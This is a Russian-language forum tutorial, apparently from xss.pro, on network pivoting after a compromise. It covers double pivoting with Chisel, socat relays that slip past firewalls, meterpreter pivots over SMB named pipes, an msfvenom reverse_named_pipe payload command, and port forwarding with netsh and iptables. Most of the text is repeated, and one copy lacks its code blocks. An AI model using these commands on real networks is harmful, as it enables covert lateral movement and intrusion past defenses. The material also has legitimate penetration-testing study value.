Написал: Эрмано
Специально для xss.pro
В этой части - заключительной(?), мы рассмотрим то, о чём я хотел расказать, но не смог в первой части, а именно:
Чтобы добиться такого результата, я чуть-чуть похимичил с iptables и настроил всё так, что я не могу дотянуться до Windows машины, но могу до Linux.
Теперь, мы можем начинать.
Практика Pivoting
Тут я расскажу, про такую вещь, как Double Pivoting, и покажу кое что интересное.
Double Pivoting
Для начала мы представим, что уже имеем доступ до 2-х хостов, но только один(Windows), может дотянуться до нужного нам Linux хоста во второй подсети, значит, для того, чтобы добраться до нужного хоста мы можем:
Так как мы не можем подключать 2 хоста к одному порту(при использовании Chisel), мы должны либо - открывать новый порт сервера, либо выстроить туннель(зачейнить) из пивотов.
Но для начала я расскажу про стандартный пивотинг с помощью Chisel
Собственно как это делается:
Для начала мы запустим сервер на локальной машине
После запускаем клиент на взломанной машине(первый Linux хост):
Далее добавляем
Успешным скан nmap'ом, говорит нам о том, что всё получилось.
Теперь мы нафантазируем себе, что уже взломали Windows и имеем на ней шелл:
После мы воспользуемся взломанным Linux хостом, как клиентом и сервером, одновременно, а на Windows машине мы запустим клиент, который подключится к линукс хосту(серверу 2):
Client & Server
На Windows хосте(тут 10.0.2.5 - IP сервера 2)
Подключение
Добавляем
Всё получилось! Мы успешно построили туннель из двух скомпроментированных хостов.
Обход файрволов
Данную технику я увидел в этой статье, и она меня очень заинтересовала, заключается она в том, что:
Мы моем использовать
Важно инициировать первое подключение к

В результате мы получили доступ к порту 22 на машину
На этом, я закончу этот раздел и перейду к разделу - SMB Named Pipes
Именнованые каналы SMB
Данная техника используется больше для скрытия нашего траффика в сети заказчика(или недруга).
Вообще зачем это нужно: в то время, как HTTP(S) соединение может быть замечено - SMB нет, потому что в сети, между компьютерами итак очень много SMB соединений(что делает нас незаметнее).
Данная функция ранее существовала, только в Cobalt Strike, однако потом появилась в Metasploit Framework и в Havoc. Также хочу заметить, что это работает только на Windows(и иногда на Linux) хостах.
Metasploit
В нём мы просто добавляем пайп в уже открытой сессии meterpreter, командой -
Здесь:
Также вы можете создать reverse_named_pipe нагрузку с помощью MSFvenom -
Про Havoc и Cobalt Strike, я не вижу смысла рассказывать, потому что там вы просто должны сгенерировать SMB Beacon.
Firewall
Тут я расскажу про Pivoting с такими файрволами, как iptables и netsh
Netsh(Источник)
Вы когда-нибудь хотели направить трафик через взломанный хост Windows без необходимости устанавливать сеанс Meterpreter или загружать файлы, которые могут быть отмечены защитой конечной точки? netsh interface portproxy встроен прямо в Windows и имеет все необходимое для создания точки поворота. Он работает, направляя входящий трафик с указанного хоста:порта на конечный хост:порт. Очень просто, и очень эффективно.
Делается это так:
Например
Это позволит локально привязать 0.0.0.0 (все сетевые интерфейсы) к 1194/tcp и направить входящие соединения на удаленный хост 10.10.10.20:8080. Этот конкретный пример можно использовать для доступа к веб-приложению, которое находится за ограничительным брандмауэром.
Также есть официальная дока от Microsoft.
IPTABLES(Источник)
Чтобы пробросить порт с помощью iptables мы должны прописать правило на перенаправление входящего трафика, на адрес другой машины:
Сначала мы прописываем правило перенаправления входящего трафика на TCP порт 80, на порт 80 машины с IP - 187.205.169.158.
Вторая строка обеспечивает маскировку исходных IP-адресов для соответствия исходящему трафику.
Также я привёл список статей, которые помогут вам лучше разобраться в пивотинге:
www.cobaltstrike.com
ap3x.github.io
spy-soft.net
Заключение
Это была 2-я и заключительная(?) статья по гайду на Pivoting, надеюсь, обе статьи принесли вам пользу и вы чему то научились. Всем спасибо за внимание, и до скорых встреч!
P.S. Если что упустил/не так написал - поправьте(только без негатива).
Специально для xss.pro
В этой части - заключительной(?), мы рассмотрим то, о чём я хотел расказать, но не смог в первой части, а именно:
- Практика Pivoting(Double Pivoting)
- SMB Named Pipes
- Firewall
- Заключение
Чтобы добиться такого результата, я чуть-чуть похимичил с iptables и настроил всё так, что я не могу дотянуться до Windows машины, но могу до Linux.
Теперь, мы можем начинать.
Практика Pivoting
Тут я расскажу, про такую вещь, как Double Pivoting, и покажу кое что интересное.
Double Pivoting
Для начала мы представим, что уже имеем доступ до 2-х хостов, но только один(Windows), может дотянуться до нужного нам Linux хоста во второй подсети, значит, для того, чтобы добраться до нужного хоста мы можем:
- Выстроить туннель
- Использовать методы VPN
Так как мы не можем подключать 2 хоста к одному порту(при использовании Chisel), мы должны либо - открывать новый порт сервера, либо выстроить туннель(зачейнить) из пивотов.
Но для начала я расскажу про стандартный пивотинг с помощью Chisel
Собственно как это делается:
Для начала мы запустим сервер на локальной машине
После запускаем клиент на взломанной машине(первый Linux хост):
Далее добавляем
socks5 127.0.0.1 1080 в /etc/proxychains4.conf
Успешным скан nmap'ом, говорит нам о том, что всё получилось.
Теперь мы нафантазируем себе, что уже взломали Windows и имеем на ней шелл:
После мы воспользуемся взломанным Linux хостом, как клиентом и сервером, одновременно, а на Windows машине мы запустим клиент, который подключится к линукс хосту(серверу 2):
Добавляем
socks5 127.0.0.1:2080 в наш /etc/proxychains.conf и проверяем - имеем ли мы доступ до целевой Linux машины(который должны иметь):
Всё получилось! Мы успешно построили туннель из двух скомпроментированных хостов.
Обход файрволов
Данную технику я увидел в этой статье, и она меня очень заинтересовала, заключается она в том, что:
Выглядит это так:Никакой reverse shell или SSH-туннели нам тут не помогут. В качестве альтернативы можно организовать доступ на «третий» хост из другого VLAN, на который оба могут инициировать TCP-соединение.
Мы моем использовать
socat, чтобы обойти блокировку:
Код:
third$> socat tcp-listen:5555 tcp-listen:6666
victim$> socat tcp-connecthird:6666 tcp-connectarget:22
Важно инициировать первое подключение к
5555/tcp, поскольку socat выполняет вторую половину операций с сокетами (tcp-listen:6666) после установки соединения tcp-listen:5555. В итоге получается, что два входящих соединения связываются через pipe, и через этот pipe может пойти трафик в обход сразу двух файрволов или NAT.
В результате мы получили доступ к порту 22 на машину
target, которая пряталась за файрволом.На этом, я закончу этот раздел и перейду к разделу - SMB Named Pipes
Именнованые каналы SMB
Данная техника используется больше для скрытия нашего траффика в сети заказчика(или недруга).
Вообще зачем это нужно: в то время, как HTTP(S) соединение может быть замечено - SMB нет, потому что в сети, между компьютерами итак очень много SMB соединений(что делает нас незаметнее).
Данная функция ранее существовала, только в Cobalt Strike, однако потом появилась в Metasploit Framework и в Havoc. Также хочу заметить, что это работает только на Windows(и иногда на Linux) хостах.
Metasploit
В нём мы просто добавляем пайп в уже открытой сессии meterpreter, командой -
pivot add -t pipe -l 10.0.2.6 -n msfpipe -a x64 -p windowsЗдесь:
-t - тип пивота-l - скомпроментированный хост-n - имя пайпа-a - архитектура-p - платформа
Также вы можете создать reverse_named_pipe нагрузку с помощью MSFvenom -
msfvenom -p windows/meterpreter/reverse_named_pipe PIPEHOST=172.16.16.19 PIPENAME=bgpipe -f exe -o pipe.exeПро Havoc и Cobalt Strike, я не вижу смысла рассказывать, потому что там вы просто должны сгенерировать SMB Beacon.
Firewall
Тут я расскажу про Pivoting с такими файрволами, как iptables и netsh
Netsh(Источник)
Вы когда-нибудь хотели направить трафик через взломанный хост Windows без необходимости устанавливать сеанс Meterpreter или загружать файлы, которые могут быть отмечены защитой конечной точки? netsh interface portproxy встроен прямо в Windows и имеет все необходимое для создания точки поворота. Он работает, направляя входящий трафик с указанного хоста:порта на конечный хост:порт. Очень просто, и очень эффективно.
Делается это так:
Код:
C:\>netsh interface portproxy add v4tov4 listenport=<lport>
listenaddress=<lhost> connectport=<rport> connectaddress=<rhost>
<lport> - локальный порт для прослушивания
<lhost> - локальный хост
<rport> - удалённый порт
<rhost> - удалённый хост
Например
Код:
C:\>netsh interface portproxy add v4tov4 listenport=1122
listenaddress=0.0.0.0 connectport=8080 connectaddress=10.0.2.6
Это позволит локально привязать 0.0.0.0 (все сетевые интерфейсы) к 1194/tcp и направить входящие соединения на удаленный хост 10.10.10.20:8080. Этот конкретный пример можно использовать для доступа к веб-приложению, которое находится за ограничительным брандмауэром.
Также есть официальная дока от Microsoft.
IPTABLES(Источник)
Чтобы пробросить порт с помощью iptables мы должны прописать правило на перенаправление входящего трафика, на адрес другой машины:
Код:
sudo iptables -t nat -A PREROUTING -i ens5 -p tcp --dport 80 -j DNAT --to-destination 187.205.169.158:80
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
Сначала мы прописываем правило перенаправления входящего трафика на TCP порт 80, на порт 80 машины с IP - 187.205.169.158.
Вторая строка обеспечивает маскировку исходных IP-адресов для соответствия исходящему трафику.
Также я привёл список статей, которые помогут вам лучше разобраться в пивотинге:
Blog - Cobalt Strike
The Cobalt Strike Blog. Read new featured content, get updates on the latest patches, and insights into the future of red teaming tools.
www.cobaltstrike.com
Pivoting with Chisel
Summary Recently I’ve completed the Hack The Box Dante Pro Labs and really enjoyed it. One of the most crucial pieces to being successful in the lab is understanding how to pivot properly. So I wanted to write up a blog post explaining how to properly pivot.
Проброс портов при взломе и постэксплуатации
Самое простое при взломе (пентесте) и постэксплуатации — это пробросить куда-нибудь порт. Ваританы проброса портов при пентесте и постэксплуатации
Заключение
Это была 2-я и заключительная(?) статья по гайду на Pivoting, надеюсь, обе статьи принесли вам пользу и вы чему то научились. Всем спасибо за внимание, и до скорых встреч!
P.S. Если что упустил/не так написал - поправьте(только без негатива).
Вложения
Последнее редактирование: